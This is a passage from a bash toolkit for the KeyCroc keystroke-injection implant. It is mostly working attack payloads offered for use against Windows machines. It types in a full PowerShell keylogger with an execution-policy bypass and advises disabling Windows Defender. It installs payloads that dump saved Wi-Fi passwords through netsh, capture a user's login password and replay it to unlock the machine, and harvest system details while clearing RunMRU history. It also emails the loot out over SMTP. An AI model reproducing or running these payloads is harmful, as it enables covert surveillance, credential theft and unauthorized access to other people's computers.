    echo -ne "\e[40m$(ColorGreen 'THIS FILE') ${LOOT_LOG} $(ColorGreen 'WILL BE SENT \nTO THIS E-MAIL') $(sed -n 4p ${USER_CR})${clear}" 			   
else
    LED R
    echo -ne ${LINE_}"\e[40;4;5m$(ColorRed 'PLEASE RUN AN KEYCROC LOG SCAN FIRST STARTING CROC LOG MENU')${clear}"${LINE_}		       
    croc_logs_mean
fi
}
	
##
#  - Mail Windows Log Functions
##	
	
send_file_c() {
    LOOT_WIND=/root/udisk/loot/Croc_Pot/KeyCroc_Wind_LOG.txt
    if [ -e "${LOOT_WIND}" ]; then
    CHANGE_FILE=""
    CHANGE_FILE_A="'/root/udisk/loot/Croc_Pot/KeyCroc_Wind_LOG.txt'"
    python_v
    echo -ne "\e[40m$(ColorGreen 'THIS FILE') ${LOOT_WIND} $(ColorGreen 'WILL BE SENT \nTO THIS E-MAIL') $(sed -n 4p ${USER_CR})${clear}" 			   
else
    LED R
    echo -ne ${LINE_}"\e[40;4;5m$(ColorRed 'PLEASE RUN AN WINDOWS LOG SCAN FIRST STARTTING WINDOWS LOG')${clear}"${LINE_}
    croc_pot_plus
fi
}

##
#  - Mail Keycroc Info
##	
	
send_file_d() {
    LOOT_INFO=/root/udisk/loot/Croc_Pot/KeyCroc_INFO.txt
    if [ -e "${LOOT_INFO}" ]; then
    CHANGE_FILE="D"
    CHANGE_FILE_A="'/root/udisk/loot/Croc_Pot/KeyCroc_INFO.txt'"
    python_v
    echo -ne "\e[40m$(ColorGreen 'THIS FILE') ${LOOT_INFO} $(ColorGreen 'WILL BE SENT \nTO THIS E-MAIL') $(sed -n 4p ${USER_CR})${clear}" 			   
else
    LED R
    echo -ne ${LINE_}"\e[40;4;5m$(ColorRed 'PLEASE RUN AN KEYCROC STATUS SCAN FIRST STARTTING KEYCROC INFO SCAN ')${clear}"${LINE_}
    croc_status
fi
}
	
##
#  - Mail Attachment Functions
##	
	
send_file_e() {
    read -p "$(ColorBlue 'ENTER THE PATH OF YOUR ATTACHMENT AND PRESS [ENTER]:') " ATT_PATH
    if [ -e "${ATT_PATH}" ]; then
    CHANGE_FILE="P"
    CHANGE_FILE_A="'${ATT_PATH}'"
    python_v
    echo -ne "\n\e[40m$(ColorGreen 'THIS FILE') ${ATT_PATH} $(ColorGreen 'WILL BE SENT \nTO THIS E-MAIL') $(sed -n 4p ${USER_CR})${clear}\n" 			   
else
    LED R
    echo -ne "\n${LINE_}\e[40;4;5m$(ColorRed 'FILE DOES NOT EXIST PLEASE TRY AGAIN')${clear}${LINE_}\n"		       
fi
}

##
#   - Croc Mail Select File Menu
##
		
MenuTitle SELECT FILE TO E-MAIL
MenuColor 1 NMAP SCAN ; echo -ne "         ${clear}\n"
MenuColor 2 KEYCROC LOG ; echo -ne "       ${clear}\n"
MenuColor 3 WINDOW SCAN ; echo -ne "       ${clear}\n"
MenuColor 4 KEYCROC INFO ; echo -ne "      ${clear}\n"
MenuColor 5 ADD ATTACHMENT ; echo -ne "    ${clear}\n"
MenuColor 6 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
MenuEnd
        read mail_A
        case $mail_A in
        1) send_file_a ;;
        2) send_file_b ;;
        3) send_file_c ;;
        4) send_file_d ;;
        5) send_file_e ;;
        6) main_menu ;;
        0) exit 0 ;;
	    *) invalid_entry ; mail_file ;;
        esac
   }
  
##
#  - Python E-mail Functions
##  

python_email() {
	LED B
USER_EMAL=$(sed -n 2p ${USER_CR})
USER_PASSWD=$(sed -n 3p ${USER_CR})
USER_SEND=$(sed -n 4p ${USER_CR})
USER_SMTP=$(sed -n 1p ${USER_CR})
rm ${PYTHON_MAIL}
sleep 1
echo -ne "import smtplib\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\n
from email.mime.base import MIMEBase\nfrom email import encoders\nimport os.path\n\nemail = '${USER_EMAL}'\npassword = '${USER_PASSWD}'\nsend_to_email = '${USER_SEND}'\n
\nsubject = 'CROC_MAIL'\nmessage = '${MY_MESS}${MY_MESS_A}'\n\n${FILE_A_B} ${FILE_I_B}\n
msg = MIMEMultipart()\nmsg['From'] = email\nmsg['To'] = send_to_email\nmsg['Subject'] = subject\nmsg.attach(MIMEText(message, 'plain'))\n\n
${FILE_B_B}\n${FILE_C_B}\n${FILE_D_B}\n${FILE_E_B}\n${FILE_F_B}\n${FILE_G_B}\n
${FILE_H_B}\nserver = smtplib.SMTP('${USER_SMTP}', 587)\nserver.starttls()\nserver.login(email, password)\n
text = msg.as_string()\nserver.sendmail(email, send_to_email, text)\nserver.quit()" >> ${PYTHON_MAIL}
sleep 1
python ${PYTHON_MAIL}
LED FINISH
}

if [ -e "${USER_CR}" ]; then
    echo -ne "\e[40m$(ColorBlue 'WOULD YOU LIKE TO USE EXISTING EMAIL SETTING TYPE YES OR NO AND PRESS [ENTER]:')${clear} "; read EMAIL_SETTING
	case $EMAIL_SETTING in
	[yY] | [yY][eE][sS] )
	echo -ne "\n${LINE_}\e[40m$(ColorGreen 'KEEPING EXISTING EMAIL SETTING')${clear}${LINE_}\n\n" ;;
	[nN] | [nN][oO] )
	rm ${USER_CR}
	user_smtp
	user_email_set ;;
	*)
	invalid_entry ; croc_mail ;;
 esac
else
       echo -ne "\n${LINE_}\e[40;4;5m$(ColorRed 'NO EXISTING EMAIL SETTING WERE FOUND PLEASE ENTER YOUR EMAIL SETTING')${clear}${LINE_}\n\n"
       user_smtp
       user_email_set
fi 
read -p "$(ColorBlue 'ENTER A PERSONAL MESSAGE YES OR NO AND PRESS [ENTER]:') " MAIL_MESS
	case $MAIL_MESS in
	[yY] | [yY][eE][sS] )
			    read -p "$(ColorBlue 'ENTER YOUR MESSAGE AND PRESS [ENTER]:') " MY_MESS ;;
	    [nN] | [nN][oO] )
			    DEF_MESS=$(perl -e 'print "KEYCROC-HAK5---DEVELOPED BY SPYWILL ---Croc_Mail"')
			    MY_MESS_A=${DEF_MESS} ;;
			   *) 
			    invalid_entry ;;
	esac
read -p "$(ColorBlue 'ADD ATTACHMENT ENTER YES OR NO AND PRESS [ENTER]:') " MAIL_MESS
	case $MAIL_MESS in
	[yY] | [yY][eE][sS] )
			    mail_file ;;
	    [nN] | [nN][oO] )
			    echo -ne "\n\e[40m$(ColorGreen 'SENDING EMAIL')${clear}\n" ;;
			   *)
			    invalid_entry ; mail_file ;;
	esac
python_email
main_menu

}

##
#   - Croc pot plus menu 
##

function croc_pot_plus() {
	LED B
	croc_title
	
##
#   - Tcpdump  Functions
##
	
tcpdump_scan() {
    LOOT_TCPDUMP=/root/udisk/loot/Croc_Pot/tcpdump.pcap
    rm -f ${LOOT_TCPDUMP}
    	echo -ne "$(Info_Screen '
-THIS WILL START TCPDUMP SCAN AND SAVE TO LOOT FOLDER\n
-PRESS CTRL + C TO STOP TCPDUMP SCAN\n')${clear}\n"

interface_tcpdump() {    
    LED ATTACK
    tcpdump -D | tee ${LOOT_TCPDUMP}
}
  
hex_ascII_tcpdump() {
    LED ATTACK
    tcpdump -XX -i any | tee ${LOOT_TCPDUMP}
}
  
ip_tcpdump() {
    LED ATTACK
    tcpdump -n -i any | tee ${LOOT_TCPDUMP}
}
  
current_tcpdump() {
    LED ATTACK
    tcpdump | tee ${LOOT_TCPDUMP}
}      
    
user_tcpdump() {
    LED ATTACK
    echo -ne "\n$(ColorBlue 'ENTER TCPDUMP SCAN THEN PRESS [ENTER]:') "; read TCPDUMP_SCAN && ${TCPDUMP_SCAN} | tee ${LOOT_TCPDUMP}
}

##
#   - Tcpdump Scan Menu
##
    
MenuTitle TCPDUMP SCAN MENU
MenuColor 1 TCPDUMP INTERFACE SCAN ; echo -ne "        ${clear}\n"
MenuColor 2 TCPDUMP PACKETS IN HEX AND ASCll ; echo -ne " ${clear}\n"
MenuColor 3 TCPDUMP PACKETS WITH IP ADDRESS ; echo -ne " ${clear}\n"
MenuColor 4 SCAN CURRENT NETWORK INTERFACE ; echo -ne " ${clear}\n"
MenuColor 5 ENTER AN TCPDUMP SCAN ; echo -ne "          ${clear}\n"
MenuColor 6 RETURN TO MAIN MENU ; echo -ne "            ${clear}\n"
MenuEnd
        read a_f
        case $a_f in
	    1) interface_tcpdump ; tcpdump_scan ;;
	    2) hex_ascII_tcpdump ; tcpdump_scan ;;
	    3) ip_tcpdump ; tcpdump_scan ;;
	    4) current_tcpdump ; tcpdump_scan ;;
	    5) user_tcpdump ; tcpdump_scan ;;
	    6) main_menu ;;
	    0) exit 0 ;;
	    *) invalid_entry ; tcpdump_scan ;;
	    esac
}

##
#   - Windows laptop keystorkes Functions
##

keystorkes_laptop() {
    CROC_OS=/root/udisk/loot/Croc_OS.txt
    OS_CHECK=$(sed -n 1p ${CROC_OS})
    echo -ne "\n${yellow}KeyCroc is pluged into OS${clear} --> $OS_CHECK\n"
    echo -ne "$(Info_Screen '
-With this payload you can log Keystorkes from windows laptop pc\n
-May need to disenable windows defender for this to work\n
-TO STOP THE PAYLOAD PRESS Ctrl + c\n
-When stop this will open up notepad and save to loot/Croc_Pot\n')${clear}\n" 

    if [ "${OS_CHECK}" = WINDOWS ]; then
	   ATTACKMODE HID STORAGE
sleep 5
Q GUI r
sleep 2
Q STRING "powershell -nop -ex Bypass"
Q ENTER
sleep 1
Q STRING "\$Croc = (gwmi win32_volume -f 'label=\"KeyCroc\"' | Select-Object -ExpandProperty DriveLetter)"
Q ENTER
sleep 1
Q STRING "function Test-KeyLogger(\$LOOTDIR=\"\$Croc\loot\Croc_Pot\winkeylogger.txt\")"
Q ENTER
Q STRING "{"
Q ENTER
##
#--> API declaration
##
Q STRING  "\$APIsignatures = @'"
Q ENTER
Q STRING "[DllImport(\"user32.dll\", CharSet=CharSet.Auto, ExactSpelling=true)]"
Q ENTER 
Q STRING "public static extern short GetAsyncKeyState(int virtualKeyCode);"
Q ENTER 
Q STRING "[DllImport(\"user32.dll\", CharSet=CharSet.Auto)]"
Q ENTER
Q STRING "public static extern int GetKeyboardState(byte[] keystate);"
Q ENTER
Q STRING "[DllImport(\"user32.dll\", CharSet=CharSet.Auto)]"
Q ENTER
Q STRING "public static extern int MapVirtualKey(uint uCode, int uMapType);"
Q ENTER
Q STRING "[DllImport(\"user32.dll\", CharSet=CharSet.Auto)]"
Q ENTER
Q STRING "public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);"
Q ENTER
Q STRING "'@"
Q ENTER
Q STRING "\$API = Add-Type -MemberDefinition \$APIsignatures -Name 'Win32' -Namespace API -PassThru"
Q ENTER
##
#--> output file
##
Q STRING "\$no_output = New-Item -Path \$LOOTDIR -ItemType File -Force"
Q ENTER
Q STRING "try"
Q ENTER
Q STRING "{"
Q ENTER
Q STRING "Write-Host 'Keylogger started. Press CTRL+C to see results...' -ForegroundColor Red"
Q ENTER
Q STRING "while (\$true) {"
Q ENTER
Q STRING "Start-Sleep -Milliseconds 40"
Q ENTER            
Q STRING "for (\$ascii = 9; \$ascii -le 254; \$ascii++) {"
Q ENTER
##
#--> get key state
##
Q STRING "\$keystate = \$API::GetAsyncKeyState(\$ascii)"
Q ENTER
##
#--> if key pressed
##
Q STRING "if (\$keystate -eq -32767) {"
Q ENTER
Q STRING "\$null = [console]::CapsLock"
Q ENTER
##
#--> translate code
##
Q STRING "\$virtualKey = \$API::MapVirtualKey(\$ascii, 3)"
Q ENTER
##
#--> get keyboard state and create stringbuilder
##
Q STRING "\$kbstate = New-Object Byte[] 256"
Q ENTER
Q STRING "\$checkkbstate = \$API::GetKeyboardState(\$kbstate)"
Q ENTER
Q STRING "\$loggedchar = New-Object -TypeName System.Text.StringBuilder"
Q ENTER
##
#--> translate virtual key
##          
Q STRING "if (\$API::ToUnicode(\$ascii, \$virtualKey, \$kbstate, \$loggedchar, \$loggedchar.Capacity, 0))"
Q ENTER 
Q STRING "{"
Q ENTER
##
#--> if success, add key to logger file
##
Q STRING "[System.IO.File]::AppendAllText(\$LOOTDIR, \$loggedchar, [System.Text.Encoding]::Unicode)"
Q ENTER 
Q STRING "}"
Q ENTER
Q STRING "}"
Q ENTER
Q STRING "}"
Q ENTER
Q STRING "}"
Q ENTER
Q STRING "}"
Q ENTER
Q STRING "finally"
Q ENTER
Q STRING "{"
Q ENTER    
Q STRING "notepad \$LOOTDIR"
Q ENTER
Q STRING "}"
Q ENTER
Q STRING "}"
Q ENTER
Q STRING "Test-KeyLogger"
Q ENTER
LED ATTACK
else
            LED R
            echo -ne "\n${LINE_}\e[40;4;5m$(ColorRed '--The KeyCroc is not pluged into Windows pc This Payload will not work on this OS')${LINE_}-->${clear}${OS_CHECK}\n"
fi
}

##
#   - Getonline Payload Functions
##

get_online_p() {
	clear
	GETONLINE=/root/udisk/payloads/Getonline.txt
	echo -e "\n\e[40m${red}${LINE_}${clear}\e[40mINSTALLING PAYLOAD CALLED GETONLINE TO PAYLOAD FOLDER${red}${LINE_}${clear}\n"
    echo -ne "$(Info_Screen '
-Connect automatically to target pc WIFI (Windows)\n
-After install unplug and plug into windows pc and type in getonline\n
-When done the led will light up green unplug keycroc and plug back in\n
-The keycroc should now be connected to the target pc wifi\n')${clear}\n"	

	if [ -e "${GETONLINE}" ]; then
	LED R
	echo -ne "\n\e[40m${red}${LINE_}${clear}\e[40m$(ColorGreen 'GETONLINE PAYLOAD IS INSTALLED CHECK PAYLOADS FOLDER')${red}${LINE_}${clear}\n"
else
	LED SETUP
	GET_ON='label=\"KeyCroc\"'
	GET_ON_A='\$Croc'
	echo -e "# Title:           Windows Get online\n# Description:     Get online automatically to target pc wifi or to your own wifi\n# Author:          spywill / RootJunky\n# Version:         2.3\n# Category:        Key Croc\n# Props:           Cribbit, Lodrix, potong\n#\n#" >> ${GETONLINE}
	echo -e "MATCH getonline\nQ LOCK\n# --> udisk unmount\nATTACKMODE HID STORAGE\nsleep 5\nLED ATTACK\nQ GUI r\nsleep 1\n# --> Open powershell\nQ STRING \"powershell -NoP -NonI -W Hidden\"\nQ ENTER\nsleep 2\n# --> Get KeyCroc drive\nQ STRING \"${GET_ON_A} = (gwmi win32_volume -f '${GET_ON}' | Select-Object -ExpandProperty DriveLetter)\"" >> ${GETONLINE}
	echo -e "Q ENTER\nsleep 2\n# --> Create wifipass.txt with the taget pc SSID and PASSWD put in Keycroc loot folder" >> ${GETONLINE}
	printf '%s\n' 'Q STRING "(netsh wlan show networks) | Select-String \"\:(.+)\$\" | % {\$name=\$_.Matches.Groups[1].Value.Trim(); \$_} | %{(netsh wlan show profile name=\"\$name\" key=clear)} | Select-String \"Key Content\W+\:(.+)\$\" | % {\$pass=\$_.Matches.Groups[1].Value.Trim(); \$_} | %{[PSCustomObject]@{ PROFILE_NAME=\$name;PASSWORD=\$pass }} | Out-File -Encoding UTF8 \"\$Croc\loot\Croc_Pot\wifipass.txt\""' >> ${GETONLINE}
	echo -e "Q ENTER\nsleep 2\nQ STRING \"exit\"\nQ ENTER\n# --> Returning to HID Mode\nATTACKMODE HID\nsleep 3\nLED SETUP\n# --> Remone any existing WIFI setting & Edit config.txt with sed & Stuff the line from wifipass.txt into the hold space when processing config.txt and append and manipulate that line when needed & Remove r end lines in config.txt file" >> ${GETONLINE}
	echo "\$(sed -i -E -e '/^[WS]/d' -e '9 a WIFI_SSID\nWIFI_PASS\nSSH ENABLE' root/udisk/config.txt) && \$(sed -i -E -e '1{x;s#^#sed -n 4p root/udisk/loot/Croc_Pot/wifipass.txt#e;x};10{G;s/\n(\S+).*/ \1/};11{G;s/\n\S+//}' -e 's/\r//g' root/udisk/config.txt)" >> ${GETONLINE}
	echo -e "sleep 2\nQ UNLOCK\nLED FINISH" >> ${GETONLINE}
	echo ""
	echo -ne "\n\e[40m${red}${LINE_}${clear}\e[40m$(ColorGreen 'GETONLINE PAYLOAD IS NOW INSTALLED CHECK KEYCROC PAYLOADS FOLEDER')${red}${LINE_}${clear}\n"
	LED FINISH
fi
}

##
#   - CrocUnlock Payload Functions
##

croc_unlock_p() {
	clear
	LED SETUP
	CROCUNLOCK=/root/udisk/payloads/Croc_unlock_1.txt
	echo -ne "\n\e[40m${red}${LINE_}${clear}\e[40mINSTALLING PAYLOAD CALLED CROCUNLOCK TO PAYLOAD FOLDER${red}${LINE_}${clear}\n"
    echo -ne "$(Info_Screen '
-Start by pressing GUI + L or CONTROL + ALT or ALT + F4\n
-This will forus the user to enter password and save to keycroc\n
-This will create another payload called Croc_unlock_2.txt\n
-Next time at login screen type in crocunlock\n
-This will enter the user password and log you in\n
-First time running this may need to unplug and plug back in\n')${clear}\n"
echo -ne "\n\e[40m$(ColorRed '
--THIS PAYLOAD IS RELYING ON THE ENTER KEY TO BE PRESSED\n 
--AFTER THE USER HAS ENTER THE PASSWORD\n
--WORK FOR PIN NUMBER TO AS LONG AS THE ENTER KEY HAS BE PRESSED AFTER')\n"
	if [ -e "${CROCUNLOCK}" ]; then
	LED B
	echo -ne "\n\e[40m${red}${LINE_}${clear}\e[40m$(ColorGreen 'CROCUNLOCK PAYLOAD IS INSTALLED CHECK PAYLOADS FOLDER')${red}${LINE_}${clear}\n"
else
	LED SETUP
	echo -e "# Title:           CrocUnlock (payload #1)\n# Description:     Log into windows pc\n# Author:          spywill / RootJunky\n# Version:         1.3\n# Category:        Key Croc\n#\n#\nMATCH (GUI-l|CONTROL-ALT-DELETE|ALT-F4)\n#\nCROC_KEYS=/root/udisk/loot/Croc_Pot/Croc_unlock.txt.filtered\nCROC_UNLOCK=/root/udisk/payloads/Croc_unlock_2.txt\n#" >> ${CROCUNLOCK}
	echo -e "if [ -e \"\${CROC_UNLOCK}\" ]; then\n     LED ATTACK\n     sleep 2\nSAVEKEYS /root/udisk/loot/Croc_Pot/Croc_unlock.txt UNTIL ENTER\n     LED FINISH\n     sleep 2\n     LED OFF;\nelse\n     LED SETUP" >> ${CROCUNLOCK}
	printf '%s\n'     'echo -e "# Title:           CrocUnlock (PAYLOAD #2)\n# Description:     Log into windows pc\n# Author:          RootJunky / Spywill\n# Version:         1.3\n# Category:        Key Croc\n#\n#" >> ${CROC_UNLOCK}' >> ${CROCUNLOCK}
	printf '%s\n'     'echo M\A\T\C\H crocunlock >> ${CROC_UNLOCK}' >> ${CROCUNLOCK}
	printf '%s\n'     'echo -e "LED SETUP\nsleep 1\nCROC_PASS=/root/udisk/loot/Croc_Pot/winpasswd.txt\nCROC_KEYS=/root/udisk/loot/Croc_Pot/Croc_unlock.txt.filtered" >> ${CROC_UNLOCK}' >> ${CROCUNLOCK}
	printf "%s\n"     "echo -e \"\\\$(sed -i 's/crocunlock//g' \\\${CROC_KEYS})\ncat \\\${CROC_KEYS} >> \\\${CROC_PASS}\nQ CONTROL-SHIFT-LEFTARROW\nQ DELETE\nif [ -e \\\"\\\${CROC_PASS}\\\" ]; then\" >> \${CROC_UNLOCK}" >> ${CROCUNLOCK}
	printf "%s\n"     "echo -e \"      LED ATTACK\n      sleep1\n      Q STRING \\\$(sed '\\\$!d' \\\${CROC_PASS})\n      Q ENTER\n      sleep 1\n      LED FINISH\n      sleep 2\n      LED OFF;\" >> \${CROC_UNLOCK}" >> ${CROCUNLOCK}
	printf "%s\n"     "echo -e \"else\n      LED R\n      sleep1\n      Q STRING \\\$(sed '\\\$!d' \\\${CROC_KEYS})\n      Q ENTER\n      sleep 1\n      LED FINISH\n      sleep 2\n      LED OFF;\nfi;\n#\nrm -f /root/udisk/loot/Croc_Pot/Croc_unlock.txt\" >> \${CROC_UNLOCK}" >> ${CROCUNLOCK}
	echo -e "     LED ATTACK\n     sleep 2\nSAVEKEYS /root/udisk/loot/Croc_Pot/Croc_unlock.txt UNTIL ENTER\n     LED FINISH\n     sleep 2\n     LED OFF;\nfi;" >> ${CROCUNLOCK}
	echo -ne "\n\e[40m${red}${LINE_}${clear}\e[40m$(ColorGreen 'CROCUNLOCK PAYLOAD IS NOW INSTALLED CHECK KEYCROC PAYLOADS FOLDER')\e[40m${red}${LINE_}${clear}\n"
	LED FINISH
fi
}

##
#   - Wifi Setup Payload Functions
##

wifi_setup_p() {
	clear
	LED SETUP
	    echo -ne "$(Info_Screen '
-WITH THIS PAYLOAD YOU CAN CREATE MULTIPLE WIFI SETTING\n
-THE PURPOSE OF THIS PAYLOAD IS THAT IF YOU MOVE YOUR KEYCROC\n
-AROUND TO DIFFERENT WIFI ACCESS POINT\n
-YOU CAN CREATE A PAYLOAD WITH MATCH WORD\n
-CONNECT TO WIFI ACCESS POINT QUICKLY\n
-BY TYPING YOUR MATCH WORD\n')${clear}\n"
            LED SETUP
            while read -p "$(ColorBlue 'ENTER A NAME FOR THIS PAYLOAD AND PRESS [ENTER]'): " USER_NAME_PL; do
            PAYLOAD_FOLDER=/root/udisk/payloads/${USER_NAME_PL}.txt
            if [[ -e "${PAYLOAD_FOLDER}" ]]; then
            LED R
            echo -ne "\n${LINE_}\e[40;4;5m$(ColorRed 'THIS PAYLOAD ALREADY EXISTS PLEASE CHOOSE A DIFFERENT NAME')${clear}${LINE_}\n"
else
            LED SETUP
            touch ${PAYLOAD_FOLDER}
            read -p "$(ColorBlue 'ENTER THE MATCH WORD YOU WOULD LIKE TO USE AND PRESS [ENTER]'): " USER_MATCH
            read -p "$(ColorBlue 'ENTER THE SSID AND PRESS [ENTER]'): " USER_SSID
            read -p "$(ColorBlue 'ENTER THE PASSWORD AND PRESS [ENTER]'): " WIFI_PASS           
echo -ne "# Title:         WIFI-SETUP\n# Description:   Setup your wifi with adding your ssid and passwd\n# Author:        spywill\n# Version:       1.3\n# Category:      Key Croc\n#\n#\n
MATCH ${USER_MATCH}\nLED SETUP\n\$(sed -i -E -e '/^[WS]/d' -e '9 a WIFI_SSID ${USER_SSID} WIFI_PASS ${WIFI_PASS} SSH ENABLE' /root/udisk/config.txt)\nsleep 1\nLED FINISH" >> ${PAYLOAD_FOLDER}
echo -ne "\n${red}${LINE_}${clear}$(ColorGreen 'WIFI_SET PAYLOAD IS NOW INSTALLED CHECK KEYCROC PAYLOADS FOLEDER')${red}${LINE_}${clear}\n 
$(ColorYellow '--UNPLUG THE KEYCROC AND PLUG BACK IN\n --TYPE IN YOUR MATCH WORD LED WILL LIGHT UP') ${green}GREEN${clear} $(ColorYellow 'THEN UNPLUG THE KEYCROC AND PLUG BACK IN\n --YOUR KEYCROC SHOULD NOW BE CONNECTED TO YOUR WIFI SETUP')\n"
            LED FINISH
            break
 fi
done
}

##
#   - Windows Info Scan Functions
##

windows_check() {
	clear
	    echo -ne "$(Info_Screen '
-WINDOWS SCAN CAN TAKE UP TO 1 MIN TO RUN\n
-This is an Bash Bunny payload working on the Croc\n
-This will Scan an Windows pc and collect alot of information\n
-Save to loot/Croc_pot folder\n')${clear}\n"
    
start_win_stat() {
	    rm -f ${LOOT_WIND}
        ATTACKMODE HID STORAGE
        sleep 5
        Q GUI r
        sleep 1
        LED ATTACK
        Q STRING "powershell -nop -ex Bypass -w Hidden"
        Q ENTER
        sleep 5
        Q STRING ".((gwmi win32_volume -f 'label=''KeyCroc''').Name+'tools\Croc_Pot\run.ps1')"
        Q ENTER
        sleep 45
        Q STRING "exit"
        Q ENTER
        ATTACKMODE HID
        LED FINISH
        sleep 3
        LED OFF
}
    LOOT_WIND=/root/udisk/loot/Croc_Pot/KeyCroc_Wind_LOG.txt
    WIN_PS=/root/udisk/tools/Croc_Pot/run.ps1
    WIN_PS_A=/root/udisk/tools/Croc_Pot/info.ps1
    CROC_OS=/root/udisk/loot/Croc_OS.txt
    OS_CHECK=$(sed -n 1p ${CROC_OS})
    echo -ne "\n${yellow}KeyCroc is pluged into OS${clear} --> $OS_CHECK\n"
    if [ "${OS_CHECK}" = WINDOWS ]; then
    if [[ -e "${WIN_PS}" && "${WIN_PS_A}" ]]; then
    start_win_stat | tee ${LOOT_WIND}
else
    LED SETUP
    sleep 1
echo -ne "powershell \"Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue\"\n\n\$VolumeName = \"KeyCroc\"\n\$computerSystem = Get-CimInstance CIM_ComputerSystem\n\$backupDrive = \$null\nGet-WmiObject win32_logicaldisk | % {\n
if (\$_.VolumeName -eq \$VolumeName) {\n        \$backupDrive = \$_.DeviceID\n    }\n}\n\n\$TARGETDIR = \$backupDrive + \"\loot\"\nif(!(Test-Path -Path \$TARGETDIR )){\n    New-Item -ItemType directory -Path \$TARGETDIR\n}\n\n\$TARGETDIR = \$backupDrive + \"\loot\Croc_Pot\"\nif(!(Test-Path -Path \$TARGETDIR )){\n   New-Item -ItemType directory -Path \$TARGETDIR\n}\n   
\$backupPath = \$backupDrive + \"\loot\Croc_Pot\" + \"\KeyCroc_Wind_Log\" + \".txt\"\n\$TARGETDIR = \$MyInvocation.MyCommand.Path\n\$TARGETDIR = \$TARGETDIR -replace \".......\$\"\ncd \$TARGETDIR\nPowerShell.exe -ExecutionPolicy Bypass -File info.ps1 > \$backupPath" >> ${WIN_PS}
echo -ne "try\n{\n\$computerPubIP = (Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content\n}\ncatch\n{\n\$computerPubIP = \"Error getting Public IP\"\n}\n\$computerIP = Get-WmiObject Win32_NetworkAdapterConfiguration | Where {\$_.Ipaddress.length -gt 1}\n\$IsDHCPEnabled = \$False\n
\$Networks = Get-WmiObject Win32_NetworkAdapterConfiguration -Filter \"DHCPEnabled=\$True\" | ? {\$_.IPEnabled}\nforeach (\$Network in \$Networks) {\nIf(\$network.DHCPEnabled) {\n\$IsDHCPEnabled = \$True\n  }\n[string[]]\$computerMAC = \$Network.MACAddress\n}\n\n\$computerSystem = Get-CimInstance CIM_ComputerSystem\n\$computerBIOS = Get-CimInstance CIM_BIOSElement\n
\$computerOs = Get-WmiObject Win32_operatingsystem | select Caption, CSName, Version, @{Name=\"InstallDate\";Expression={([WMI]'').ConvertToDateTime(\$_.InstallDate)}} , @{Name=\"LastBootUpTime\";Expression={([WMI]'').ConvertToDateTime(\$_.LastBootUpTime)}}, @{Name=\"LocalDateTime\";Expression={([WMI]'').ConvertToDateTime(\$_.LocalDateTime)}}, CurrentTimeZone, CountryCode, OSLanguage, SerialNumber, WindowsDirectory | Format-List\n\$computerCpu = Get-WmiObject Win32_Processor | select DeviceID, Name, Caption, Manufacturer, MaxClockSpeed, L2CacheSize, L2CacheSpeed, L3CacheSize, L3CacheSpeed | Format-List\n\$computerMainboard = Get-WmiObject Win32_BaseBoard | Format-List\n
\$computerRamCapacity = Get-WmiObject Win32_PhysicalMemory | Measure-Object -Property capacity -Sum | % { \"{0:N1} GB\" -f (\$_.sum / 1GB)}\n\$computerRam = Get-WmiObject Win32_PhysicalMemory | select DeviceLocator, @{Name=\"Capacity\";Expression={ \"{0:N1} GB\" -f (\$_.Capacity / 1GB)}}, ConfiguredClockSpeed, ConfiguredVoltage | Format-Table\n\n\$driveType = @{\n   2=\"Removable disk \"\n   3=\"Fixed local disk \"\n   4=\"Network disk \"\n   5=\"Compact disk \"}\n
\$Hdds = Get-WmiObject Win32_LogicalDisk | select DeviceID, VolumeName, @{Name=\"DriveType\";Expression={\$driveType.item([int]\$_.DriveType)}}, FileSystem,VolumeSerialNumber,@{Name=\"Size_GB\";Expression={\"{0:N1} GB\" -f (\$_.Size / 1Gb)}}, @{Name=\"FreeSpace_GB\";Expression={\"{0:N1} GB\" -f (\$_.FreeSpace / 1Gb)}}, @{Name=\"FreeSpace_percent\";Expression={\"{0:N1}%\" -f ((100 / (\$_.Size / \$_.FreeSpace)))}} | Format-Table DeviceID, VolumeName,DriveType,FileSystem,VolumeSerialNumber,@{ Name=\"Size GB\"; Expression={\$_.Size_GB}; align=\"right\"; }, @{ Name=\"FreeSpace GB\"; Expression={\$_.FreeSpace_GB}; align=\"right\"; }, @{ Name=\"FreeSpace %\"; Expression={\$_.FreeSpace_percent}; align=\"right\"; }\n
\$COMDevices = Get-Wmiobject Win32_USBControllerDevice | ForEach-Object{[Wmi](\$_.Dependent)} | Select-Object Name, DeviceID, Manufacturer | Sort-Object -Descending Name | Format-Table\n\n\$RDP\nif ((Get-ItemProperty \"hklm:\System\CurrentControlSet\Control\Terminal Server\").fDenyTSConnections -eq 0) {\n    \$RDP = \"RDP is Enabled\"\n} else {\n    \$RDP = \"RDP is NOT Enabled\"\n}\n\n\$Network = Get-WmiObject Win32_NetworkAdapterConfiguration | where { \$_.MACAddress -notlike \$null } | select Index, Description, IPAddress, DefaultIPGateway, MACAddress | Format-Table Index, Description, IPAddress, DefaultIPGateway, MACAddress\n
\$WLANProfileNames = @()\n\$Output = netsh.exe wlan show profiles | Select-String -pattern \":\"\nForeach(\$WLANProfileName in \$Output){\n    \$WLANProfileNames += ((\$WLANProfileName -split \":\")[1]).Trim()\n}\n\$WLANProfileObjects = @()\n
Foreach(\$WLANProfileName in \$WLANProfileNames){\n    try{\n        \$WLANProfilePassword = (((netsh.exe wlan show profiles name=\"\$WLANProfileName\" key=clear | select-string -Pattern \"Key Content\") -split \":\")[1]).Trim()\n    } Catch {\n        \$WLANProfilePassword = \"The password is not stored in this profile\"\n    }\n    \$WLANProfileObject = New-Object PSCustomobject\n    \$WLANProfileObject | Add-Member -Type NoteProperty -Name \"ProfileName\" -Value \$WLANProfileName\n
        \$WLANProfileObject | Add-Member -Type NoteProperty -Name \"ProfilePassword\" -Value \$WLANProfilePassword\n    \$WLANProfileObjects += \$WLANProfileObject\n    Remove-Variable WLANProfileObject\n}\n\n\$luser = Get-WmiObject -Class Win32_UserAccount | Format-Table Caption, Domain, Name, FullName, SID\n
